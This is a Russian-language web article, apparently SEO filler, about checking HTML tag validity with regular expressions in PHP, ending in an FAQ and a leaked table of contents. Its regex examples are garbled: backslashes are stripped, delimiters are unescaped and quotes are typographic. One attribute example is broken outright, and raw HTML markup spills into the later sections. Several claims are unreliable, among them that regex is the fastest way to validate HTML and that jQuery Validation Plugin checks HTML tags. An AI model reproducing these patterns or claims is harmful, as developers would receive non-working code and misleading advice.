Как проверить валидность HTML тегов с помощью регулярных выражений в PHP?

HTML — это язык разметки, используемый для создания веб-страниц. При создании веб-страницы необходимо использовать правильные HTML теги, чтобы создать структуру страницы и задать ее внешний вид.

В PHP существует множество инструментов, которые позволяют проверять валидность HTML кода. Один из таких инструментов — это регулярные выражения. Регулярные выражения — это мощный инструмент для работы с текстовыми строками, который позволяет быстро и эффективно проверять соответствие определенному шаблону.

В данной статье мы рассмотрим, как можно использовать регулярные выражения для проверки валидности HTML тегов в PHP. Мы научимся использовать регулярные выражения для поиска и замены тегов, для проверки открытых и закрытых тегов, а также для проверки правильности атрибутов тегов.

Как проверить валидность HTML тегов

Валидность HTML тегов — это наиболее важный показатель правильной работы веб-сайта. Если в вашей веб-странице имеются ошибки валидации, то это может привести к сбоям при отображении и некорректной работе страницы в целом.

Существует несколько способов проверки валидности HTML тегов, и одним из них является использование регулярных выражений в PHP. Это наиболее быстрый и удобный способ для проверки правильнсти написания тегов.

Для проверки валидности тегов с помощью регулярных выражений в PHP используются соответствующие функции, такие как preg_match() и preg_replace(). Они позволяют сопоставлять вводимые пользователем данные с шаблоном регулярного выражения и проводить проверку на соответствие.

Однако, не стоит полагаться только на регулярные выражения для проверки валидности HTML тегов. Кроме этого, стоит обратить внимание на возможность использования валидаторов HTML, таких как W3C Markup Validation Service. Они позволяют проводить более глубокую проверку веб-страницы на наличие ошибок и могут дать более точную информацию о правильности введенных HTML тегов.

Итак, проверка валидности HTML тегов является важной задачей для веб-разработчика. Использование регулярных выражений в PHP является одним из наиболее удобных и быстрых способов проверки валидности HTML тегов, однако, для более точной проверки рекомендуется использование валидаторов HTML, которые позволяют проводить более глубокую проверку веб-страницы на наличие ошибок и дать более точную информацию о правильности введенных HTML тегов.

Что такое HTML теги?

HTML (Hypertext Markup Language) – это язык разметки для создания веб-страниц. С его помощью мы можем создавать ссылки, изображения, видео, таблицы и другие элементы веб-страницы. Однако, чтобы создать эти элементы, нам нужно знать, как использовать HTML теги.

HTML теги – это ключевые слова, обрамленные угловыми скобками, которые используются для определения внешнего вида и структуры элементов веб-страницы. Каждый тег имеет свою уникальную функцию, и его использование определяет, что будет отображаться на веб-странице. Например, для создания заголовка используется тег <h1>, для абзаца – тег <p>, для изображения – тег <img> и т.д.

HTML теги также могут иметь различные свойства или атрибуты, которые позволяют установить дополнительные параметры на элемент. Например, свойство src для тега <img> определяет, где находится изображение, а свойство href для тега <a> – задает ссылку, на которую нужно перейти при клике на элемент.

Любой элемент веб-страницы может включать в себя несколько тегов и атрибутов, которые определяют его по-разному. Поэтому, для создания качественной веб-страницы, нужно не только знать, какие HTML теги существуют, но и уметь правильно их применять.

  • HTML теги позволяют контролировать и определять внешний вид веб-страницы.
  • Каждый тег имеет свою уникальную функцию и может использоваться с различными свойствами и атрибутами.
  • Знание HTML тегов и умение их применять – ключевой фактор для создания качественной веб-страницы.

Почему важно проверять теги?

Валидность HTML-кода – это важный аспект для любой веб-страницы. Наличие неправильных тегов может привести к тому, что страница не будет отображаться корректно в браузерах, что может оттолкнуть посетителей вашего сайта.

Проверка валидности тегов помогает обнаружить ошибки в коде и исправить их. Если на вашем сайте используется неправильный тег, то это может привести к тому, что страницы не будут корректно отображаться во всех браузерах или не будут открываться вообще.

Кроме того, правильно написанный код улучшает индексацию сайта поисковыми системами. Это означает, что валидный код может улучшить видимость вашего сайта в поисковых системах, что может привести к увеличению трафика на сайте и улучшению его позиции в поисковых результатах.

  • Правильный код – это отличные перспективы для вашего бизнеса, так как он может привлечь больше внимания со стороны пользователей и поисковых машин.
  • Проверка валидности HTML-кода – это не сложный процесс, но заметно улучшает качество сайта, поэтому следует уделить ему внимание.

Важно помнить, что проверка валидности HTML-кода делает ваш сайт более доступным и функциональным для всех пользователей браузеров, приводя к тому, что ваше сообщение будет доставлено к большому числу людей.

Инструменты для проверки

Существует множество инструментов, которые позволяют проверить валидность HTML тегов. Одним из самых популярных является W3C Markup Validation Service. Этот сервис позволяет проверить HTML-код на соответствие стандартам, а также на наличие ошибок и предупреждений.

Еще одним полезным инструментом является HTML Tidy. Эта программа позволяет автоматически исправлять ошибки в HTML-коде и приводить его к стандартам.

Существуют также браузерные расширения и плагины, которые могут помочь проверить валидность HTML тегов непосредственно в браузере. Например, плагин Web Developer для браузера Google Chrome.

Важно отметить, что использование этих инструментов не гарантирует полную валидность HTML-кода. Ручная проверка и отладка могут быть необходимы в некоторых случаях.

Также стоит учитывать, что валидность HTML тегов – это только один аспект веб-разработки. Важно также следить за доступностью сайта для пользователей с ограниченными возможностями, оптимизацией скорости загрузки и другими аспектами.

В целом, использование инструментов для проверки валидности HTML тегов является важной частью процесса веб-разработки и помогает создавать более качественные и надежные сайты.

Возможности встроенной функции в PHP

PHP — мощный язык программирования, который обеспечивает разработчика рядом удобных встроенных функций. С помощью этих функций можно выполнить множество операций, включая работу с данными, базами данных, файлами и текстом.

Одной из самых полезных и часто используемых функций является функция strlen(). Она возвращает количество символов в строке, что становится особенно актуально при работе с формами ввода.

Очень удобная функция — strip_tags(), которая позволяет очистить текст от HTML-тегов. Это полезно в тех случаях, когда нужно выводить отформатированный текст, но не нужно выводить его с тегами.

Также есть функции для работы с базами данных, такие как mysqli_connect, mysqli_query, mysqli_fetch_array и др. Они позволяют соединяться с базами данных, выполнять запросы и получать данные из базы данных.

PHP также имеет множество функций для работы с файлами и директориями. Например, функция fopen() позволяет открыть файл, функция fclose() — закрыть его, а функция fwrite() — записать данные в файл.

Еще одной полезной функцией является функция preg_match(). Она позволяет извлекать данные из строки, используя регулярные выражения. Это особенно удобно при обработке данных из форм.

В общем, PHP обеспечивает разработчиков множеством полезных встроенных функций, которые позволяют значительно упростить и ускорить процесс разработки веб-приложений.

Особенности использования регулярных выражений

1. Сложность и запутанность: Регулярные выражения могут быть очень сложными и запутанными, особенно для новичков. И даже для опытных пользователей, понимание всех возможностей и правил их использования требует времени и практики.

2. Зависимость от контекста: Регулярные выражения могут работать по-разному в зависимости от контекста, в котором они используются. Например, если вы используете одно и то же регулярное выражение для поиска данных в разных текстовых файлах, результаты могут быть значительно отличаться.

3. Необходимость постоянного совершенствования: Регулярные выражения требуют постоянного совершенствования и обновления в соответствии с изменениями и требованиями вашего проекта. Это может быть особенно трудно, если вы используете регулярные выражения для работы с большим объемом данных.

4. Некоторые цепочки символов могут быть невозможны для выражений: Регулярные выражения могут не полностью охватывать все возможные цепочки символов, особенно если вы работаете с очень сложными или специфическими данными. В таких случаях может потребоваться разбить цепочки на более простые и проверять их по отдельности.

5. Сложности при использовании разных языков программирования: Регулярные выражения могут вести себя по-разному в разных языках программирования, поэтому при переходе от одного языка к другому могут возникать сложности. Необходимо учитывать все особенности языков и применять регулярные выражения в соответствии с их требованиями.

Сторонние онлайн проверщики тегов

Существует множество сайтов и сервисов, которые предоставляют возможность проверки валидности HTML тегов. Обычно такие проверщики позволяют вставить код страницы или фрагмент кода и получить детальную информацию о наличии ошибок и несоответствий в использовании тегов.

Пользоваться онлайн проверщиками удобно и быстро, особенно для начинающих разработчиков сайтов или для проверки отдельных фрагментов кода. Воспользоваться такими сервисами можно за несколько кликов мыши и получить результат проверки сразу же.

Среди популярных онлайн проверщиков тегов можно назвать W3C Markup Validation Service, HTML Validator от Total Validator, HTML5 и CSS3 Validator, а также различные Chrome-плагины и расширения для других браузеров.

Использование проверщиков тегов поможет избежать многих ошибок и недочетов в верстке страниц, что в свою очередь повысит качество сайта и удобство его использования.

Примеры проверки тегов

Для проверки валидности HTML тегов с помощью регулярных выражений, можно использовать функцию preg_match() в PHP.

Например, для проверки наличия тега можно использовать следующее регулярное выражение:

/<strong>.*</strong>/

Это выражение ищет текст, заключенный между открывающим и закрывающим тегом <strong>.

Если нужно проверить наличие нескольких тегов, можно использовать оператор «или» (|). Например:

/<p>.*</p>|<div>.*</div>/

Это выражение ищет текст, заключенный между тегами <p> или <div>.

Кроме того, можно проверить правильность написания тегов, используя соответствующие регулярные выражения. Например, для проверки валидности тега <a> можно использовать следующее выражение:

/<as.+href=[«‘].*[«‘].*>.*</a>/

Это выражение ищет тег <a> с атрибутом href и текстом внутри тега.

Также можно проверить наличие обязательных атрибутов у тегов, например, у тега <input>. Например:

/<inputs.+type=[«‘]text[«‘].*>/

Это выражение ищет тег <input> с атрибутом type, равным «text».

Проверка валидности HTML тегов с помощью регулярных выражений — это полезный инструмент для разработки и отладки веб-страниц, который помогает обнаружить ошибки в написании HTML кода.

Проверка на открытие и закрытие тегов

Валидный HTML-код должен содержать правильно открытые и закрытые теги. Никакой тег не должен остаться открытым. Также не нужно закрывать теги, которые не имеют закрывающего тега. Для проверки на открытие и закрытие тегов используются регулярные выражения в PHP.

Для начала необходимо разбить HTML-страницу на массив строк, используя функцию explode(). Затем пройти по каждой строке и разбить ее на массив тегов, используя функцию preg_split(), которая разбивает строку по регулярному выражению. Само выражение будет построено таким образом, чтобы разбивать строку по открывающим и закрывающим тегам.

Далее производится проверка правильности открытия и закрытия тегов. Если находится несоответствие, то генерируется ошибка. Также следует проверить наличие закрывающего тега у тегов, которые его требуют. Это делается, используя стековую структуру данных.

Следует помнить, что проверка на открытие и закрытие тегов является одной из стадий валидации HTML. Есть и другие проверки, например, наличие всех необходимых атрибутов, соответствие их значений формату и другие.

В целом, проверка на открытие и закрытие тегов в HTML является важной задачей, чтобы гарантировать корректность работы веб-сайта и безопасность пользователей. При наличии сомнений в правильности написания кода, лучше всего воспользоваться специальными инструментами или услугами проверки на валидность HTML.

Проверка соответствия используемых тегов допустимым стандартам

Пользователи веб-сайтов могут использовать различные HTML-теги для создания страницы, но не все теги основаны на допустимых стандартах. Проверка соответствия используемых тегов допустимым стандартам может помочь устранить ошибки и обеспечить правильное отображение страницы.

Существует множество онлайн-инструментов и программ, которые могут выполнить проверку кода на соответствие стандартам. Кроме того, разработчики могут использовать регулярные выражения в PHP для проверки валидности HTML-тегов в своем коде.

При проверке страницы на соответствие стандартам необходимо убедиться, что используемые теги поддерживаются веб-браузерами и соответствуют последним стандартам. Также следует убедиться, что используемые теги закрыты и располагаются в правильном порядке.

Помимо проверки валидности HTML-тегов, разработчики также могут использовать другие инструменты, такие как инструменты аудита веб-страниц для проверки производительности, безопасности и доступности веб-сайта.

Выводя все вместе, следует обратить внимание на соответствие используемых тегов допустимым стандартам при создании веб-страницы. Использование регулярных выражений в PHP может помочь упростить этот процесс и обеспечить правильную работу страницы в любом веб-браузере.

Проверка атрибутов тегов

Кроме проверки валидности HTML тегов, важно также проверять правильность атрибутов, которые к ним применяются. Для этого можно использовать регулярные выражения, которые будут проверять соответствие синтаксису конкретного атрибута.

Например, для проверки атрибута href у тега можно использовать следующее регулярное выражение:

/^(https?|ftp)://[^s/$.?#].[^s]*$/i

Это выражение проверит, что атрибут href содержит корректную ссылку на веб-ресурс.

Еще один пример – для проверки атрибута src у тега можно использовать такое регулярное выражение:

/^(http|https)://[a-z0-9wа-я.-/#?&_=]+$/ui

Это выражение проверит, что атрибут src содержит ссылку на изображение с корректным адресом.

Если нужно проверить несколько атрибутов сразу, то можно использовать соответствующие регулярные выражения для каждого атрибута и объединять их в один паттерн. Например, для проверки тега

с атрибутами border и cellspacing можно использовать такой паттерн:
/^(

)?()?$/i
Этот паттерн проверит, что тег

содержит корректные значения атрибутов border и cellspacing.

Проверка атрибутов тегов особенно важна, если веб-приложение позволяет пользователям вводить свой HTML-код. Некорректный HTML может привести к появлению уязвимостей в безопасности, так что проверка валидности кода является одним из важных шагов при разработке веб-приложений.

Как использовать результаты проверки?

После того, как произведена проверка валидности HTML тегов с помощью регулярных выражений в PHP, необходимо использовать полученные результаты для того, чтобы исправить ошибки в файле.

Если проверка выявила ошибки, то следует приступить к исправлению. Это может быть как замена неверно написанных тегов на правильные, так и удаление лишних тегов. Важно помнить, что исправление ошибок позволит улучшить работоспособность и скорость загрузки страницы.

Также результаты проверки могут помочь в разработке новых веб-страниц. Если вы разработчик, то результаты проверки покажут, насколько правильно вы используете теги HTML. В некоторых случаях проверка может указать на проблемы совместимости с различными браузерами и устройствами, что позволит улучшить опыт пользователей.

Кроме того, результаты проверки валидности HTML тегов могут быть полезны при анализе конкурентов. Если вы хотите узнать, какие методы используют конкуренты, что бы лучше оптимизировать свой код, то проверка может помочь вам построить анализ и узнать, какие теги используются.

В итоге, результаты проверки валидности HTML тегов важны для различных целей. Они могут указать на ошибки, помочь в разработке новых страниц и улучшить опыт пользователей. Поэтому проверка является неотъемлемой частью веб-разработки и оптимизации сайтов.

Корректировка нарушенного кода

Для проверки валидности HTML тегов необходимо использовать специальные инструменты и программы, но что делать, если код уже нарушен? В таком случае необходимо производить корректировку кода.

Основная задача при корректировке нарушенного HTML-кода — это исправление ошибок и выявление отсутствующих тегов, а также удаление ненужных тегов.

При корректировке HTML-кода следует придерживаться определенных правил:

  • Не изменять смысл контента. При корректировке кода необходимо учитывать, что любое внесение изменений может привести к изменению смысла контента, и следует избегать таких изменений.
  • Использовать правильные теги. Для того, чтобы код был валидным, необходимо использовать правильные теги. Если в коде отсутствуют теги или были использованы неправильные теги, то их необходимо добавить или заменить на правильные.
  • Правильно оформлять содержимое тегов. Для того, чтобы контент был корректно отображен, необходимо правильно оформить содержимое тегов.
  • Удалять ненужные теги. Если в коде присутствуют ненужные теги, необходимо удалить их. Они могут повлиять на отображение и могут быть причиной ошибок.

Корректный HTML-код — это залог его правильной работы и отображения на любых устройствах и браузерах. Поэтому, если вы заметили ошибки в коде, обязательно произведите его корректировку, чтобы избежать проблем при отображении сайта.

Использование результатов в аудитах страницы и оптимизации скорости загрузки

После того, как мы применили регулярные выражения для проверки валидности HTML тегов, мы можем использовать результаты в аудитах страницы и оптимизации скорости загрузки.

Во-первых, нам необходимо проанализировать содержимое страницы и исследовать, какие теги используются наиболее часто. Если мы выявим, что некоторые теги используются в избытке, то мы можем решить заменить их на более оптимальные аналоги.

Во-вторых, мы можем использовать результаты проверки валидности HTML тегов для оптимизации CSS и JavaScript файлов. Когда мы составляем стили для элементов на странице, то мы можем использовать только те теги, которые прошли проверку валидности. Это позволит убрать из стилей избыточные правила и сократить размер CSS файла.

Так же мы можем использовать результаты проверки валидности HTML тегов для оптимизации скорости загрузки страницы. Если мы заметим, что на странице имеются HTML теги, которые не прошли проверку валидности, мы сможем их удалить и тем самым ускорить загрузку страницы.

Использование результатов проверки валидности HTML тегов не только позволит нам улучшить внешний вид и функциональность нашей страницы, но и сделает ее быстрее и более доступной для пользователей.

Вывод: Проверка валидности HTML тегов с помощью регулярных выражений в PHP является необходимой процедурой при создании и оптимизации страницы. И, следуя рекомендациям выше, мы можем использовать результаты проверки как для улучшения внешнего вида, так и для повышения скорости загрузки нашего сайта.

Улучшение SEO показателей

При оптимизации сайта для поисковых систем необходимо учитывать множество факторов, которые влияют на его рейтинг. Одним из ключевых является правильное использование HTML тегов. Валидный HTML код позволяет поисковым системам лучше понимать структуру сайта и улучшает его индексацию.

Некоторые HTML теги имеют большое значение для SEO. Например, теги и используются для выделения ключевых слов, что помогает поисковым системам лучше понимать, о чем идет речь на странице. Тег является самым важным для SEO, так как он отображается в результатах поиска и должен содержать ключевые слова.</p><p>Теги</p><ul>,</p><ol> и</p><li> облегчают навигацию по сайту и помогают поисковым системам лучше понимать его структуру. Тег<br /><table> может быть использован для отображения данных и улучшает читаемость страницы.</p><p>Важно помнить, что правильное использование HTML тегов — это только один из факторов, влияющих на SEO. Другие факторы включают в себя качество контента, скорость загрузки страниц и технические аспекты оптимизации сайта. Однако, правильное использование HTML тегов поможет улучшить SEO показатели вашего сайта и будет полезным шагом в его оптимизации.</p><h2><span class="ez-toc-section" id="FAQ"></span>FAQ<span class="ez-toc-section-end"></span></h2><h4><span class="ez-toc-section" id="%D0%9A%D0%B0%D0%BA_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%82%D1%8C_%D0%B2%D0%B0%D0%BB%D0%B8%D0%B4%D0%BD%D0%BE%D1%81%D1%82%D1%8C_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B1%D0%B5%D0%B7_PHP"></span>Как проверить валидность HTML тегов без PHP?<span class="ez-toc-section-end"></span></h4><p>Существует множество онлайн-сервисов, таких как W3C Markup Validation Service, которые позволяют проверить валидность HTML документов без использования PHP и регулярных выражений. Просто скопируйте свой код на сайт и нажмите на кнопку проверки.</p><h4><span class="ez-toc-section" id="%D0%9A%D0%B0%D0%BA_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%82%D1%8C_HTML_%D1%82%D0%B5%D0%B3%D0%B8_%D0%B5%D1%81%D0%BB%D0%B8_%D1%83_%D0%BC%D0%B5%D0%BD%D1%8F_%D0%BD%D0%B5%D1%82_%D0%BE%D0%BF%D1%8B%D1%82%D0%B0_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_PHP"></span>Как проверить HTML теги, если у меня нет опыта использования PHP?<span class="ez-toc-section-end"></span></h4><p>Для того чтобы проверить валидность HTML тегов с помощью регулярных выражений в PHP, не обязательно иметь опыт программирования на этом языке. Существует множество готовых скриптов, которые можно найти в Интернете и просто скопировать в свой код. При этом нужно быть внимательным и проверять скрипты на вирусы и ошибки.</p><h4><span class="ez-toc-section" id="%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D0%B5_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B8_%D0%BA%D0%B0%D0%BA_%D0%B8%D0%BC%D0%B8_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%D1%81%D1%8F_%D0%B4%D0%BB%D1%8F_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2"></span>Что такое регулярные выражения и как ими пользоваться для проверки HTML тегов?<span class="ez-toc-section-end"></span></h4><p>Регулярные выражения — это специальный язык, который используется для поиска и манипулирования текстом. Для проверки валидности HTML тегов с помощью регулярных выражений в PHP нужно знать основные конструкции и правила их составления. Например, можно проверять открывающие и закрывающие теги на соответствие друг другу, наличие атрибутов и их значения и т.д.</p><h4><span class="ez-toc-section" id="%D0%9A%D0%B0%D0%BA%D0%B8%D0%B5_%D0%B5%D1%81%D1%82%D1%8C_%D0%B0%D0%BB%D1%8C%D1%82%D0%B5%D1%80%D0%BD%D0%B0%D1%82%D0%B8%D0%B2%D1%8B_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E_%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D1%85_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9_%D0%B4%D0%BB%D1%8F_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B2_PHP"></span>Какие есть альтернативы использованию регулярных выражений для проверки HTML тегов в PHP?<span class="ez-toc-section-end"></span></h4><p>Вместо регулярных выражений можно использовать PHP-библиотеки, такие как DOMDocument, которые позволяют парсить HTML документы и работать с их элементами и атрибутами. Другой альтернативой является использование сторонних библиотек, например, HTMLPurifier, которые позволяют не только проверить валидность HTML тегов, но и очистить код от опасных элементов, таких как скрипты и стили.</p><h4><span class="ez-toc-section" id="%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D1%8F%D1%82%D1%8C_%D0%B2%D0%B0%D0%BB%D0%B8%D0%B4%D0%BD%D0%BE%D1%81%D1%82%D1%8C_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B1%D0%B5%D0%B7_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_PHP_%D0%BD%D0%B0%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80_%D0%BD%D0%B0_%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%B5_%D0%BA%D0%BB%D0%B8%D0%B5%D0%BD%D1%82%D0%B0"></span>Можно ли проверять валидность HTML тегов без использования PHP, например, на стороне клиента?<span class="ez-toc-section-end"></span></h4><p>Да, существуют специальные JavaScript-библиотеки, такие как jQuery Validation Plugin, которые позволяют проверять валидность HTML тегов на стороне клиента без необходимости передачи данных на сервер. Это может ускорить работу сайта и снизить нагрузку на сервер. Однако, такой подход не гарантирует 100% валидность HTML кода, так как некоторые элементы или атрибуты могут быть использованы некорректно, но могут не вызывать ошибок в JavaScript-проверке.</p><div class="flat_pm_end"></div><div id="ez-toc-container" class="ez-toc-v2_0_22 counter-hierarchy ez-toc-grey"><div class="ez-toc-title-container"><p class="ez-toc-title">Cодержание</p> <span class="ez-toc-title-toggle"><a class="ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle" style="display: none;"><i class="ez-toc-glyphicon ez-toc-icon-toggle"></i></a></span></div><nav><ul class="ez-toc-list ez-toc-list-level-1"><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-1" href="#%D0%9A%D0%B0%D0%BA_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%82%D1%8C_%D0%B2%D0%B0%D0%BB%D0%B8%D0%B4%D0%BD%D0%BE%D1%81%D1%82%D1%8C_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2" title="Как проверить валидность HTML тегов">Как проверить валидность HTML тегов</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-2" href="#%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_HTML_%D1%82%D0%B5%D0%B3%D0%B8" title="Что такое HTML теги?">Что такое HTML теги?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-3" href="#%D0%9F%D0%BE%D1%87%D0%B5%D0%BC%D1%83_%D0%B2%D0%B0%D0%B6%D0%BD%D0%BE_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D1%8F%D1%82%D1%8C_%D1%82%D0%B5%D0%B3%D0%B8" title="Почему важно проверять теги?">Почему важно проверять теги?</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-4" href="#%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%B4%D0%BB%D1%8F_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8" title="Инструменты для проверки">Инструменты для проверки</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-5" href="#%D0%92%D0%BE%D0%B7%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D0%B8_%D0%B2%D1%81%D1%82%D1%80%D0%BE%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8_%D0%B2_PHP" title="Возможности встроенной функции в PHP">Возможности встроенной функции в PHP</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-6" href="#%D0%9E%D1%81%D0%BE%D0%B1%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D1%85_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9" title="Особенности использования регулярных выражений">Особенности использования регулярных выражений</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-7" href="#%D0%A1%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%BD%D0%B8%D0%B5_%D0%BE%D0%BD%D0%BB%D0%B0%D0%B9%D0%BD_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D1%89%D0%B8%D0%BA%D0%B8_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2" title="Сторонние онлайн проверщики тегов">Сторонние онлайн проверщики тегов</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-8" href="#%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D1%8B_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2" title="Примеры проверки тегов">Примеры проверки тегов</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-9" href="#%D0%9F%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B0_%D0%BD%D0%B0_%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D0%B8%D0%B5_%D0%B8_%D0%B7%D0%B0%D0%BA%D1%80%D1%8B%D1%82%D0%B8%D0%B5_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2" title="Проверка на открытие и закрытие тегов">Проверка на открытие и закрытие тегов</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-10" href="#%D0%9F%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B0_%D1%81%D0%BE%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B8%D1%8F_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D0%BC%D1%8B%D1%85_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B4%D0%BE%D0%BF%D1%83%D1%81%D1%82%D0%B8%D0%BC%D1%8B%D0%BC_%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%B0%D0%BC" title="Проверка соответствия используемых тегов допустимым стандартам">Проверка соответствия используемых тегов допустимым стандартам</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-11" href="#%D0%9F%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B0_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%BE%D0%B2_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2" title="Проверка атрибутов тегов">Проверка атрибутов тегов</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-12" href="#%D0%9A%D0%B0%D0%BA_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D1%8B_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8" title="Как использовать результаты проверки?">Как использовать результаты проверки?</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-13" href="#%D0%9A%D0%BE%D1%80%D1%80%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BD%D0%B0%D1%80%D1%83%D1%88%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE_%D0%BA%D0%BE%D0%B4%D0%B0" title="Корректировка нарушенного кода">Корректировка нарушенного кода</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-14" href="#%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%BE%D0%B2_%D0%B2_%D0%B0%D1%83%D0%B4%D0%B8%D1%82%D0%B0%D1%85_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B_%D0%B8_%D0%BE%D0%BF%D1%82%D0%B8%D0%BC%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8_%D1%81%D0%BA%D0%BE%D1%80%D0%BE%D1%81%D1%82%D0%B8_%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B8" title="Использование результатов в аудитах страницы и оптимизации скорости загрузки">Использование результатов в аудитах страницы и оптимизации скорости загрузки</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-15" href="#%D0%A3%D0%BB%D1%83%D1%87%D1%88%D0%B5%D0%BD%D0%B8%D0%B5_SEO_%D0%BF%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%B9" title="Улучшение SEO показателей">Улучшение SEO показателей</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a 